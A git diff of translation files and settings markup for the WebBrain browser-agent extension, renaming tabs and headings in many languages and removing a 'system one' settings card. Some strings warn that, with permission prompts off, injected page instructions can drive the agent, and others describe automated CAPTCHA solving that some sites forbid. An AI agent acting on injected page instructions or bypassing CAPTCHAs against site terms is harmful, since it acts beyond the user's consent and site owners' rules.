"st.transcription.save": "保存",
"st.transcription.test": "接続テスト",
diff --git a/src/firefox/src/ui/locales/ko.js b/src/firefox/src/ui/locales/ko.js
index 78ceeb8ef..ec940ad2f 100644
--- a/src/firefox/src/ui/locales/ko.js
+++ b/src/firefox/src/ui/locales/ko.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': '활성 공급자',
'sp.providers.active': '활성',
'sp.providers.more': '더 보기…',
- "st.system_one.heading": "보조 모델",
"st.system_one.desc_html": "예약된 모니터링과 작업 완료를 추가로 검증합니다.",
"st.system_one.enabled.label": "Jev 활성화",
"st.system_one.api_key.label": "TypeSafe API 키",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "활성 제공자에서 비전 모드가 <strong>활성화</strong>되었습니다.",
"sp.vision.off": "활성 제공자에서 비전 모드가 <strong>비활성화</strong>되었습니다.",
"sp.vision.error": "비전 전환에 실패했습니다: {msg}",
- "st.tab.multimodal": "멀티모달",
+ "st.tab.multimodal": "보조 모델",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "권장됩니다. 켜져 있으면 WebBrain이 사이트에서 처음으로 클릭, 입력, 이동, JavaScript 실행, 업로드, 다운로드 또는 녹화할 때 권한을 요청합니다(이후 선택을 기억합니다). 완전히 신뢰하는 사이트에서 확인 없이 빠르게 사용하려면 끄세요.",
"st.perms.gate.warning": "⚠️ 권한 확인이 꺼져 있습니다. WebBrain이 어떤 사이트에서든 — 콘텐츠가 공격자에 의해 조작될 수 있는 페이지를 포함해 — 묻지 않고 클릭, 입력, 이동, JavaScript 실행, 업로드, 다운로드, 녹화를 수행합니다. 페이지 콘텐츠는 내부적으로 여전히 신뢰할 수 없는 것으로 취급되지만, 주입된 지시가 동작을 유발하는 것을 막을 수는 없습니다. 어시스턴트를 사용하는 모든 사이트를 완전히 신뢰하는 경우에만 끈 채로 두세요.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Ollama 연동 공지 읽기",
"st.provider.field.model_custom": "사용자 지정...",
"st.vision.heading": "비전",
- "st.transcription.heading": "전사",
+ "st.transcription.heading": "음성을 텍스트로",
"st.transcription.desc": "탭 녹화기의 전사 기능에서 사용됩니다. 설정하면 오디오가 이 Whisper 호환 엔드포인트로 전송됩니다. 구성된 제공자에서 자동으로 선택하려면 비워 두세요(OpenAI → Groq → LM Studio → llama.cpp). OpenAI 호환 /v1/audio/transcriptions만 지원합니다.",
"st.transcription.save": "저장",
"st.transcription.test": "연결 테스트",
diff --git a/src/firefox/src/ui/locales/ms.js b/src/firefox/src/ui/locales/ms.js
index 1adb57526..3c555ec2d 100644
--- a/src/firefox/src/ui/locales/ms.js
+++ b/src/firefox/src/ui/locales/ms.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Penyedia aktif',
'sp.providers.active': 'Aktif',
'sp.providers.more': 'Lagi…',
- "st.system_one.heading": "Model bantuan",
"st.system_one.desc_html": "Pengesahan tambahan bagi pemantauan berjadual dan penyelesaian tugas.",
"st.system_one.enabled.label": "Dayakan Jev",
"st.system_one.api_key.label": "Kunci API TypeSafe",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "Mod penglihatan <strong>didayakan</strong> untuk pembekal aktif.",
"sp.vision.off": "Mod penglihatan <strong>dinyahaktifkan</strong> untuk pembekal aktif.",
"sp.vision.error": "Togol penglihatan gagal: {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Model Bantuan",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Disyorkan. Apabila dihidupkan, WebBrain meminta kebenaran kali pertama ia mengklik, menaip, menavigasi, menjalankan JavaScript, memuat naik, memuat turun atau merakam pada sesuatu laman (kemudian mengingati pilihan anda). Matikan untuk penggunaan pantas tanpa gesaan pada laman yang anda percayai sepenuhnya.",
"st.perms.gate.warning": "⚠️ Gesaan kebenaran DIMATIKAN. WebBrain akan mengklik, menaip, menavigasi, menjalankan JavaScript, memuat naik, memuat turun dan merakam pada mana-mana laman TANPA bertanya — termasuk pada halaman yang kandungannya mungkin dikawal oleh penyerang. Kandungan halaman masih dianggap tidak dipercayai secara dalaman, tetapi tiada apa-apa akan menghalang arahan yang disuntik daripada mencetuskan tindakan. Biarkan ini dimatikan hanya jika anda mempercayai sepenuhnya setiap laman tempat anda menggunakan pembantu ini.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Baca pengumuman integrasi Ollama",
"st.provider.field.model_custom": "Tersuai...",
"st.vision.heading": "Penglihatan",
- "st.transcription.heading": "Transkripsi",
+ "st.transcription.heading": "Pertuturan kepada teks",
"st.transcription.desc": "Digunakan oleh transkripsi Perakam Tab. Jika ditetapkan, audio dihantar ke hujung yang serasi dengan Whisper ini. Biarkan kosong untuk auto-pilih daripada pembekal yang dikonfigurasikan (OpenAI → Groq → LM Studio → llama.cpp). Hanya /v1/audio/transcriptions yang serasi dengan OpenAI.",
"st.transcription.save": "Simpan",
"st.transcription.test": "Uji Sambungan",
diff --git a/src/firefox/src/ui/locales/nl.js b/src/firefox/src/ui/locales/nl.js
index 780403853..b3f065ced 100644
--- a/src/firefox/src/ui/locales/nl.js
+++ b/src/firefox/src/ui/locales/nl.js
@@ -553,7 +553,7 @@ export default {
'st.tab.providers': 'Providers',
'st.tab.skills': 'Vaardigheden',
'st.tab.vision': 'Visie',
- 'st.tab.multimodal': 'Multimodaal',
+ 'st.tab.multimodal': "Ondersteunende modellen",
'st.tab.memory': 'Geheugen',
'st.tab.profile': 'Profiel',
'st.tab.account': 'Account',
@@ -774,7 +774,7 @@ export default {
'st.vision.connected': 'Verbonden! Model: {model}',
'st.vision.failed': 'Mislukt: {error}',
'st.vision.fill_required': 'Vul eerst basis-URL en model in.',
- 'st.transcription.heading': 'Transcriptie',
+ 'st.transcription.heading': "Spraak naar tekst",
'st.transcription.desc': 'Gebruikt door Tab Recorder-transcriptie...',
'st.transcription.save': 'Opslaan',
'st.transcription.test': 'Verbinding testen',
@@ -858,7 +858,6 @@ export default {
'st.captcha.balance_fail': 'Mislukt: {error}',
'st.captcha.security_html': '<strong>Let op:</strong> de API-sleutel wordt in platte tekst opgeslagen...',
- "st.system_one.heading": "Hulpmodellen",
"st.system_one.desc_html": "Extra controle van geplande bewakingen en voltooide taken.",
"st.system_one.enabled.label": "Jev inschakelen",
"st.system_one.api_key.label": "TypeSafe-API-sleutel",
diff --git a/src/firefox/src/ui/locales/pl.js b/src/firefox/src/ui/locales/pl.js
index 050b3e1e5..942aae174 100644
--- a/src/firefox/src/ui/locales/pl.js
+++ b/src/firefox/src/ui/locales/pl.js
@@ -429,7 +429,7 @@ export default {
'st.tab.display': 'Ogólne',
'st.tab.providers': 'Dostawcy',
'st.tab.vision': 'Wizja',
- 'st.tab.multimodal': 'Multimodalność',
+ 'st.tab.multimodal': "Modele pomocnicze",
'st.tab.profile': 'Profil',
'st.tab.account': 'Konto',
'st.tab.captcha': 'CAPTCHA',
@@ -609,7 +609,7 @@ export default {
'st.vision.connected': 'Połączono! Model: {model}',
'st.vision.failed': 'Niepowodzenie: {error}',
'st.vision.fill_required': 'Najpierw wypełnij bazowy adres URL i model.',
- 'st.transcription.heading': 'Transkrypcja',
+ 'st.transcription.heading': "Mowa na tekst",
'st.transcription.desc': 'Używane przez transkrypcję Rejestratora kart. Jeśli ustawione, dźwięk jest wysyłany do tego punktu końcowego zgodnego z Whisper. Pozostaw puste, aby automatycznie wybrać spośród skonfigurowanych dostawców (OpenAI → Groq → LM Studio → llama.cpp). Tylko zgodne z OpenAI /v1/audio/transcriptions.',
'st.transcription.save': 'Zapisz',
'st.transcription.test': 'Testuj połączenie',
@@ -645,7 +645,6 @@ export default {
'st.captcha.balance_fail': 'Niepowodzenie: {error}',
'st.captcha.security_html': '<strong>Uwaga:</strong> klucz API jest przechowywany <strong>w postaci jawnej</strong> w lokalnej pamięci przeglądarki. CapSolver obciąża Twoje konto za każde rozwiązanie; agent wywoła go tylko, gdy CAPTCHA faktycznie zablokuje krok (maksymalnie raz na napotkanie — nie ponawia po niepowodzeniu). Regulaminy niektórych witryn zabraniają automatycznego rozwiązywania CAPTCHA; kieruj się własnym osądem.',
- "st.system_one.heading": "Modele pomocnicze",
"st.system_one.desc_html": "Dodatkowa weryfikacja zaplanowanego monitorowania i ukończenia zadań.",
"st.system_one.enabled.label": "Włącz Jev",
"st.system_one.api_key.label": "Klucz API TypeSafe",
diff --git a/src/firefox/src/ui/locales/pt.js b/src/firefox/src/ui/locales/pt.js
index 856e6efa9..9a6d50804 100644
--- a/src/firefox/src/ui/locales/pt.js
+++ b/src/firefox/src/ui/locales/pt.js
@@ -573,7 +573,7 @@ export default {
'st.tab.providers': "Provedores",
'st.tab.skills': "Habilidades",
'st.tab.vision': "Visão",
- 'st.tab.multimodal': "Multimodal",
+ 'st.tab.multimodal': "Modelos auxiliares",
'st.tab.memory': "Memória",
'st.tab.profile': "Perfil",
'st.tab.account': "Conta",
@@ -866,7 +866,7 @@ export default {
'st.vision.failed': "Falha: {error}",
'st.vision.fill_required': "Preencha primeiro o URL base e o modelo.",
- 'st.transcription.heading': "Transcrição",
+ 'st.transcription.heading': "Fala para texto",
'st.transcription.desc': "Usado pela transcrição do Tab Recorder. Se definido, o áudio será enviado para este endpoint compatível com Whisper. Deixe em branco para seleção automática dos provedores configurados (OpenAI → Groq → LM Studio → llama.cpp). Compatível com OpenAI somente /v1/audio/transcrições.",
'st.transcription.save': "Salvar",
'st.transcription.test': "Conexão de teste",
@@ -957,7 +957,6 @@ export default {
'st.captcha.balance_fail': "Falha: {error}",
'st.captcha.security_html': "<strong>Atenção:</strong> a chave API é armazenada <strong>em texto simples</strong> no armazenamento local do navegador. CapSolver cobra sua conta por cada solução; o agente só o chamará quando um CAPTCHA realmente bloquear uma etapa (no máximo uma vez por encontro - ele não tentará novamente em caso de falha). Os termos de serviço de alguns sites proíbem a resolução automatizada de CAPTCHA; use seu julgamento.",
- "st.system_one.heading": "Modelos auxiliares",
"st.system_one.desc_html": "Verificação adicional de monitoramentos e tarefas agendadas.",
"st.system_one.enabled.label": "Ativar Jev",
"st.system_one.api_key.label": "Chave de API TypeSafe",
diff --git a/src/firefox/src/ui/locales/ru.js b/src/firefox/src/ui/locales/ru.js
index 52575a1a6..f77112b74 100644
--- a/src/firefox/src/ui/locales/ru.js
+++ b/src/firefox/src/ui/locales/ru.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Активные провайдеры',
'sp.providers.active': 'Активен',
'sp.providers.more': 'Ещё…',
- "st.system_one.heading": "Вспомогательные модели",
"st.system_one.desc_html": "Дополнительная проверка запланированных наблюдений и завершения задач.",
"st.system_one.enabled.label": "Включить Jev",
"st.system_one.api_key.label": "Ключ API TypeSafe",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "Режим зрения <strong>включён</strong> для активного провайдера.",
"sp.vision.off": "Режим зрения <strong>выключен</strong> для активного провайдера.",
"sp.vision.error": "Не удалось переключить зрение: {msg}",
- "st.tab.multimodal": "Мультимодальность",
+ "st.tab.multimodal": "Вспомогательные модели",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Рекомендуется. Когда включено, WebBrain спрашивает разрешение при первом нажатии, вводе, переходе, запуске JavaScript, загрузке, скачивании или записи на сайте (а затем запоминает ваш выбор). Выключите для быстрой работы без запросов на сайтах, которым вы полностью доверяете.",
"st.perms.gate.warning": "⚠️ Запросы на разрешения ВЫКЛЮЧЕНЫ. WebBrain будет нажимать, вводить текст, переходить, запускать JavaScript, загружать, скачивать и записывать на любом сайте БЕЗ запроса — в том числе на страницах, содержимое которых может контролироваться злоумышленником. Содержимое страниц по-прежнему считается недоверенным внутри системы, но ничто не помешает внедрённой инструкции запустить действие. Оставляйте это выключенным, только если полностью доверяете каждому сайту, на котором используете ассистента.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Прочитать объявление об интеграции Ollama",
"st.provider.field.model_custom": "Свой...",
"st.vision.heading": "Зрение",
- "st.transcription.heading": "Расшифровка",
+ "st.transcription.heading": "Речь в текст",
"st.transcription.desc": "Используется при расшифровке в Записи вкладки. Если задано, аудио отправляется на этот Whisper-совместимый эндпоинт. Оставьте пустым для автоматического выбора из настроенных провайдеров (OpenAI → Groq → LM Studio → llama.cpp). Только OpenAI-совместимый /v1/audio/transcriptions.",
"st.transcription.save": "Сохранить",
"st.transcription.test": "Проверить соединение",
diff --git a/src/firefox/src/ui/locales/th.js b/src/firefox/src/ui/locales/th.js
index d2ee5a3a4..8ae956728 100644
--- a/src/firefox/src/ui/locales/th.js
+++ b/src/firefox/src/ui/locales/th.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'ผู้ให้บริการที่ใช้งานอยู่',
'sp.providers.active': 'ใช้งานอยู่',
'sp.providers.more': 'เพิ่มเติม…',
- "st.system_one.heading": "โมเดลเสริม",
"st.system_one.desc_html": "ตรวจสอบเพิ่มเติมสำหรับการเฝ้าดูและการทำงานตามกำหนดเวลา",
"st.system_one.enabled.label": "เปิดใช้ Jev",
"st.system_one.api_key.label": "คีย์ API ของ TypeSafe",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "โหมดการมองเห็น <strong>เปิดใช้งานแล้ว</strong> สำหรับผู้ให้บริการที่ใช้งานอยู่",
"sp.vision.off": "โหมดการมองเห็น <strong>ปิดใช้งานแล้ว</strong> สำหรับผู้ให้บริการที่ใช้งานอยู่",
"sp.vision.error": "สลับโหมดการมองเห็นไม่สำเร็จ: {msg}",
- "st.tab.multimodal": "มัลติโมดัล",
+ "st.tab.multimodal": "โมเดลเสริม",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "แนะนำ เมื่อเปิด WebBrain จะขออนุญาตในครั้งแรกที่คลิก พิมพ์ นำทาง รัน JavaScript อัปโหลด ดาวน์โหลด หรือบันทึกบนเว็บไซต์ (จากนั้นจะจดจำตัวเลือกของคุณ) ปิดไว้เพื่อใช้งานได้รวดเร็วโดยไม่ต้องถาม บนเว็บไซต์ที่คุณไว้วางใจเต็มที่",
"st.perms.gate.warning": "⚠️ การถามสิทธิ์ถูกปิดอยู่ WebBrain จะคลิก พิมพ์ นำทาง รัน JavaScript อัปโหลด ดาวน์โหลด และบันทึกบนเว็บไซต์ใด ๆ โดยไม่ถาม — รวมถึงหน้าที่เนื้อหาอาจถูกควบคุมโดยผู้โจมตี เนื้อหาของหน้ายังถูกปฏิบัติเสมือนไม่น่าเชื่อถือภายในระบบ แต่ไม่มีอะไรหยุดคำสั่งที่ถูกแทรกเข้ามาไม่ให้กระตุ้นการกระทำได้ ปิดไว้เฉพาะเมื่อคุณไว้วางใจทุกเว็บไซต์ที่ใช้ผู้ช่วยนี้เต็มที่",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "อ่านประกาศการผสานรวม Ollama",
"st.provider.field.model_custom": "กำหนดเอง...",
"st.vision.heading": "การมองเห็น",
- "st.transcription.heading": "การถอดเสียง",
+ "st.transcription.heading": "แปลงเสียงพูดเป็นข้อความ",
"st.transcription.desc": "ใช้โดยการถอดเสียงของ Tab Recorder หากตั้งค่าไว้ เสียงจะถูกส่งไปยังปลายทางที่เข้ากันได้กับ Whisper นี้ เว้นว่างเพื่อเลือกอัตโนมัติจากผู้ให้บริการที่ตั้งค่าไว้ (OpenAI → Groq → LM Studio → llama.cpp) รองรับเฉพาะ /v1/audio/transcriptions ที่เข้ากันได้กับ OpenAI เท่านั้น",
"st.transcription.save": "บันทึก",
"st.transcription.test": "ทดสอบการเชื่อมต่อ",
diff --git a/src/firefox/src/ui/locales/tl.js b/src/firefox/src/ui/locales/tl.js
index 23f0a036c..1a75a20f2 100644
--- a/src/firefox/src/ui/locales/tl.js
+++ b/src/firefox/src/ui/locales/tl.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Mga aktibong provider',
'sp.providers.active': 'Aktibo',
'sp.providers.more': 'Higit pa…',
- "st.system_one.heading": "Mga pantulong na modelo",
"st.system_one.desc_html": "Dagdag na pagtiyak sa nakaiskedyul na pagsubaybay at pagkumpleto ng gawain.",
"st.system_one.enabled.label": "Paganahin ang Jev",
"st.system_one.api_key.label": "TypeSafe API key",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "Vision mode <strong>naka-enable</strong> para sa aktibong provider.",
"sp.vision.off": "Vision mode <strong>naka-disable</strong> para sa aktibong provider.",
"sp.vision.error": "Nabigo ang vision toggle: {msg}",
- "st.tab.multimodal": "Multimodal",
+ "st.tab.multimodal": "Mga Pantulong na Modelo",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Inirerekomenda. Kapag naka-on, humihingi ng pahintulot ang WebBrain sa unang pagkakataong mag-click, mag-type, mag-navigate, magpatakbo ng JavaScript, mag-upload, mag-download, o mag-record ito sa isang site (at saka tinatandaan ang iyong pinili). I-off para sa mabilis at walang prompt na paggamit sa mga site na lubos mong pinagkakatiwalaan.",
"st.perms.gate.warning": "⚠️ Naka-OFF ang mga prompt ng pahintulot. Mag-cli-click, magta-type, magna-navigate, magpapatakbo ng JavaScript, mag-aupload, mag-dadownload, at magre-record ang WebBrain sa anumang site nang HINDI nagtatanong — kasama na ang mga pahinang ang nilalaman ay maaaring kontrolado ng attacker. Itinuturing pa ring untrusted ang nilalaman ng pahina sa loob, ngunit walang pipigil sa isang injected na tagubilin na mag-trigger ng aksyon. Iwang naka-off lamang ito kung lubos mong pinagkakatiwalaan ang bawat site na ginagamitan mo ng assistant.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Basahin ang anunsyo ng integrasyon ng Ollama",
"st.provider.field.model_custom": "Custom...",
"st.vision.heading": "Bisyon",
- "st.transcription.heading": "Transcription",
+ "st.transcription.heading": "Pagsasalita tungo sa teksto",
"st.transcription.desc": "Ginagamit ng Tab Recorder transcription. Kapag naitakda, ipinapadala ang audio sa Whisper-compatible na endpoint na ito. Iwang blangko para awtomatikong pumili mula sa mga naka-configure na provider (OpenAI → Groq → LM Studio → llama.cpp). OpenAI-compatible /v1/audio/transcriptions lamang.",
"st.transcription.save": "I-save",
"st.transcription.test": "Subukan ang Koneksyon",
diff --git a/src/firefox/src/ui/locales/tr.js b/src/firefox/src/ui/locales/tr.js
index 6a6b363bd..8c7739266 100644
--- a/src/firefox/src/ui/locales/tr.js
+++ b/src/firefox/src/ui/locales/tr.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Etkin sağlayıcılar',
'sp.providers.active': 'Etkin',
'sp.providers.more': 'Daha fazla…',
- "st.system_one.heading": "Yardımcı modeller",
"st.system_one.desc_html": "Zamanlanmış izlemeler ve görev tamamlanması için ek doğrulama.",
"st.system_one.enabled.label": "Jev’i etkinleştir",
"st.system_one.api_key.label": "TypeSafe API anahtarı",
@@ -585,7 +584,7 @@ export default {
"sp.vision.on": "Aktif sağlayıcı için görme kipi <strong>etkin</strong>.",
"sp.vision.off": "Aktif sağlayıcı için görme kipi <strong>devre dışı</strong>.",
"sp.vision.error": "Görme kipi değiştirilemedi: {msg}",
- "st.tab.multimodal": "Çok kipli",
+ "st.tab.multimodal": "Yardımcı Modeller",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Önerilir. Açıkken WebBrain, bir sitede ilk kez tıkladığında, yazdığında, gezindiğinde, JavaScript çalıştırdığında, dosya yüklediğinde, indirdiğinde veya kayıt yaptığında izin ister (sonra seçimini hatırlar). Tamamen güvendiğin sitelerde hızlı, istemsiz kullanım için kapat.",
"st.perms.gate.warning": "⚠️ İzin istemleri KAPALI. WebBrain herhangi bir sitede SORMADAN tıklayacak, yazacak, gezinecek, JavaScript çalıştıracak, dosya yükleyecek, indirecek ve kayıt yapacak — içeriği saldırgan kontrolünde olabilecek sayfalar dahil. Sayfa içeriği yine de dahili olarak güvenilmez kabul edilir, ama enjekte edilmiş bir talimatın bir işlemi tetiklemesini hiçbir şey engellemez. Bunu yalnızca asistanı kullandığın her siteye tamamen güveniyorsan kapalı bırak.",
@@ -623,7 +622,7 @@ export default {
"st.providers.ollama_warning.link": "Ollama entegrasyon duyurusunu okuyun",
"st.provider.field.model_custom": "Özel...",
"st.vision.heading": "Görme",
- "st.transcription.heading": "Yazıya döküm",
+ "st.transcription.heading": "Konuşmayı metne dönüştürme",
"st.transcription.desc": "Sekme Kaydedici yazıya dökümü tarafından kullanılır. Ayarlanırsa ses, bu Whisper uyumlu uç noktaya gönderilir. Yapılandırılmış sağlayıcılardan otomatik seçim için boş bırak (OpenAI → Groq → LM Studio → llama.cpp). Yalnızca OpenAI uyumlu /v1/audio/transcriptions.",
"st.transcription.save": "Kaydet",
"st.transcription.test": "Bağlantıyı Sına",
diff --git a/src/firefox/src/ui/locales/uk.js b/src/firefox/src/ui/locales/uk.js
index e92c0e030..1a66ff607 100644
--- a/src/firefox/src/ui/locales/uk.js
+++ b/src/firefox/src/ui/locales/uk.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': 'Активні провайдери',
'sp.providers.active': 'Активний',
'sp.providers.more': 'Більше…',
- "st.system_one.heading": "Допоміжні моделі",
"st.system_one.desc_html": "Додаткова перевірка запланованих спостережень і завершення завдань.",
"st.system_one.enabled.label": "Увімкнути Jev",
"st.system_one.api_key.label": "Ключ API TypeSafe",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "Режим зору <strong>увімкнено</strong> для активного провайдера.",
"sp.vision.off": "Режим зору <strong>вимкнено</strong> для активного провайдера.",
"sp.vision.error": "Не вдалося перемкнути режим зору: {msg}",
- "st.tab.multimodal": "Мультимодальність",
+ "st.tab.multimodal": "Допоміжні моделі",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "Рекомендовано. Коли увімкнено, WebBrain запитує дозвіл, коли вперше натискає, друкує, переходить, запускає JavaScript, вивантажує, завантажує або записує на сайті (а потім запам'ятовує ваш вибір). Вимкніть для швидкого використання без запитів на сайтах, яким ви повністю довіряєте.",
"st.perms.gate.warning": "⚠️ Запити дозволів ВИМКНЕНО. WebBrain натискатиме, друкуватиме, переходитиме, запускатиме JavaScript, вивантажуватиме, завантажуватиме й записуватиме на будь-якому сайті БЕЗ запитань — зокрема на сторінках, вміст яких може контролювати зловмисник. Вміст сторінок усе одно вважається ненадійним усередині, але ніщо не завадить впровадженій інструкції запустити дію. Залишайте це вимкненим лише якщо повністю довіряєте кожному сайту, на якому користуєтеся асистентом.",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "Прочитати оголошення про інтеграцію Ollama",
"st.provider.field.model_custom": "Власна...",
"st.vision.heading": "Зір",
- "st.transcription.heading": "Транскрипція",
+ "st.transcription.heading": "Мовлення в текст",
"st.transcription.desc": "Використовується транскрипцією Tab Recorder. Якщо задано, аудіо надсилається на цей Whisper-сумісний ендпоінт. Залиште порожнім для автоматичного вибору з налаштованих провайдерів (OpenAI → Groq → LM Studio → llama.cpp). Лише OpenAI-сумісний /v1/audio/transcriptions.",
"st.transcription.save": "Зберегти",
"st.transcription.test": "Перевірити з'єднання",
diff --git a/src/firefox/src/ui/locales/vi.js b/src/firefox/src/ui/locales/vi.js
index ec775b992..200a7b6cc 100644
--- a/src/firefox/src/ui/locales/vi.js
+++ b/src/firefox/src/ui/locales/vi.js
@@ -573,7 +573,7 @@ export default {
'st.tab.providers': "Nhà cung cấp",
'st.tab.skills': "Kỹ năng",
'st.tab.vision': "Tầm nhìn",
- 'st.tab.multimodal': "Đa phương thức",
+ 'st.tab.multimodal': "Mô hình hỗ trợ",
'st.tab.memory': "Bộ nhớ",
'st.tab.profile': "Hồ sơ",
'st.tab.account': "Tài khoản",
@@ -866,7 +866,7 @@ export default {
'st.vision.failed': "Không thành công: {error}",
'st.vision.fill_required': "Trước tiên hãy điền URL cơ sở và Mô hình.",
- 'st.transcription.heading': "Phiên âm",
+ 'st.transcription.heading': "Chuyển giọng nói thành văn bản",
'st.transcription.desc': "Được sử dụng bởi phiên âm Tab Recorder. Nếu được đặt, âm thanh sẽ được gửi đến điểm cuối tương thích với Whisper này. Để trống để tự động chọn từ các nhà cung cấp đã định cấu hình (OpenAI → Groq → LM Studio → llama.cpp). Chỉ các bản ghi /v1/âm thanh/bản ghi tương thích với OpenAI.",
'st.transcription.save': "Lưu",
'st.transcription.test': "Kiểm tra kết nối",
@@ -957,7 +957,6 @@ export default {
'st.captcha.balance_fail': "Không thành công: {error}",
'st.captcha.security_html': "<strong>Lưu ý:</strong> khóa API được lưu trữ <strong>trong bản rõ</strong> trong bộ nhớ cục bộ của trình duyệt. CapSolver tính phí tài khoản của bạn cho mỗi lần giải; tác nhân sẽ chỉ gọi nó khi CAPTCHA thực sự chặn một bước (tối đa một lần cho mỗi lần gặp - nó sẽ không thử lại nếu thất bại). Điều khoản dịch vụ của một số trang web nghiêm cấm việc giải CAPTCHA tự động; sử dụng phán đoán của bạn.",
- "st.system_one.heading": "Mô hình hỗ trợ",
"st.system_one.desc_html": "Xác minh bổ sung cho theo dõi định kỳ và hoàn thành tác vụ.",
"st.system_one.enabled.label": "Bật Jev",
"st.system_one.api_key.label": "Khóa API TypeSafe",
diff --git a/src/firefox/src/ui/locales/zh.js b/src/firefox/src/ui/locales/zh.js
index 4f7d57774..990494942 100644
--- a/src/firefox/src/ui/locales/zh.js
+++ b/src/firefox/src/ui/locales/zh.js
@@ -37,7 +37,6 @@ export default {
'sp.providers.active_group': '已启用的提供商',
'sp.providers.active': '已启用',
'sp.providers.more': '更多…',
- "st.system_one.heading": "辅助模型",
"st.system_one.desc_html": "为定时监测和任务完成提供额外验证。",
"st.system_one.enabled.label": "启用 Jev",
"st.system_one.api_key.label": "TypeSafe API 密钥",
@@ -545,7 +544,7 @@ export default {
"sp.vision.on": "已为当前提供商<strong>启用</strong>视觉模式。",
"sp.vision.off": "已为当前提供商<strong>禁用</strong>视觉模式。",
"sp.vision.error": "视觉模式切换失败:{msg}",
- "st.tab.multimodal": "多模态",
+ "st.tab.multimodal": "辅助模型",
"st.tab.captcha": "CAPTCHA",
"st.perms.gate.desc": "推荐开启。开启后,WebBrain 首次在某站点点击、输入、导航、运行 JavaScript、上传、下载或录制时会请求权限(随后记住你的选择)。在你完全信任的站点上可关闭,以便快速、免提示地使用。",
"st.perms.gate.warning": "⚠️ 权限提示已关闭。WebBrain 将在任何站点上点击、输入、导航、运行 JavaScript、上传、下载和录制而无需询问 —— 包括内容可能被攻击者控制的页面。页面内容在内部仍被视为不可信,但没有任何机制能阻止被注入的指令触发操作。只有当你完全信任使用本助手的每一个站点时,才将其保持关闭。",
@@ -583,7 +582,7 @@ export default {
"st.providers.ollama_warning.link": "阅读 Ollama 集成公告",
"st.provider.field.model_custom": "自定义...",
"st.vision.heading": "视觉",
- "st.transcription.heading": "转写",
+ "st.transcription.heading": "语音转文字",
"st.transcription.desc": "由标签页录制器的转写功能使用。设置后,音频会发送到这个 Whisper 兼容端点。留空则从已配置的提供商中自动选择(OpenAI → Groq → LM Studio → llama.cpp)。仅限 OpenAI 兼容的 /v1/audio/transcriptions。",
"st.transcription.save": "保存",
"st.transcription.test": "测试连接",
diff --git a/src/firefox/src/ui/settings-tabs.js b/src/firefox/src/ui/settings-tabs.js
index 42fc32de0..be33030a8 100644
--- a/src/firefox/src/ui/settings-tabs.js
+++ b/src/firefox/src/ui/settings-tabs.js
@@ -43,7 +43,8 @@
// Honour #display / #providers / #multimodal / #memory / #skills /
// #permissions in the URL so other parts of the extension can deep-link into
- // a tab later. The "multimodal" tab
+ // a tab later. Assistive Models retains the "multimodal" identifier so saved
+ // selections and deep links keep working. The tab
// was previously named "vision" — old #vision deep-links no longer match
// anything and silently fall back to the default tab, which is fine.
const hash = (location.hash || '').replace('#', '');
diff --git a/src/firefox/src/ui/settings.html b/src/firefox/src/ui/settings.html
index 9d260ba19..fecef232c 100644
--- a/src/firefox/src/ui/settings.html
+++ b/src/firefox/src/ui/settings.html
@@ -339,7 +339,7 @@
flex-shrink: 0;
display: block;
}
- /* Multimodal section headings always show a mono feature icon so the
+ /* Assistive model section headings always show a mono feature icon so the
tab has visual anchors even when base URL is empty (brand chip only
appears after a known endpoint is sniffed). */
.mm-section-heading {
@@ -1633,74 +1633,6 @@
</section>
<section class="tab-panel active" data-panel="providers" role="tabpanel">
- <h2 data-i18n="st.system_one.heading" style="font-size:16px"></h2>
- <div class="provider-card" id="system-one-card">
- <h3 data-i18n="st.system_one.title"></h3>
- <div style="font-size:12px;color:var(--text2);margin-bottom:14px;line-height:1.55;" data-i18n-html="st.system_one.desc_html"></div>
-
- <div class="setting-row">
- <div class="setting-info">
- <div class="setting-label" data-i18n="st.system_one.enabled.label"></div>
- </div>
- <label class="toggle">
- <input type="checkbox" id="toggle-system-one">
- <span class="toggle-slider"></span>
- </label>
- </div>
-
- <div class="field">
- <label for="system-one-api-key" data-i18n="st.system_one.api_key.label"></label>
- <input type="password" id="system-one-api-key" placeholder="ts_…" autocomplete="off" spellcheck="false">
- </div>
-
- <div class="setting-row">
- <div class="setting-info">
- <div class="setting-label" data-i18n="st.system_one.watch.label"></div>
- </div>
- <label class="toggle">
- <input type="checkbox" id="toggle-system-one-watch">
- <span class="toggle-slider"></span>
- </label>
- </div>
- <div class="setting-row">
- <div class="setting-info">
- <div class="setting-label" data-i18n="st.system_one.completion.label"></div>
- </div>
- <label class="toggle">
- <input type="checkbox" id="toggle-system-one-completion">
- <span class="toggle-slider"></span>
- </label>
- </div>
-
- <div class="setting-row">
- <div class="setting-info"><div class="setting-label" data-i18n="st.system_one.fast_classifications"></div></div>
- <label class="toggle"><input type="checkbox" id="toggle-system-one-classifications"><span class="toggle-slider"></span></label>
- </div>
